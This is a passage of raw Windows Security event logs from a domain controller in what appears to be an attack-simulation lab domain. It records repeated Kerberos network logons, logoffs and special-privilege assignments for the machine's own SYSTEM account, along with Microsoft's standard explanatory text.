Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4B99

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249517
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4B38

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249516
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4B38
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64275

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249515
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4B38

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249538
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4DF5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249537
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4DF5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64282

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249536
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4DF5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249535
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4D94

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249534
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4D94
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64281

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249533
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4D94

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249532
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4D2E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249531
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4D2E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64280

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249530
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4D2E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249529
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4CCD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249528
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4CCD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64279

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249527
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4CCD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249550
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4F86

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249549
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4F86
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64286

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249548
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4F86

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249547
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4F25

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249546
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4F25
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64285

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249545
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4F25

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249544
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4EBF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249543
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4EBF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64284

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249542
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4EBF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249541
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4E5E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249540
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4E5E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64283

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249539
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4E5E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249563
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE5378

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
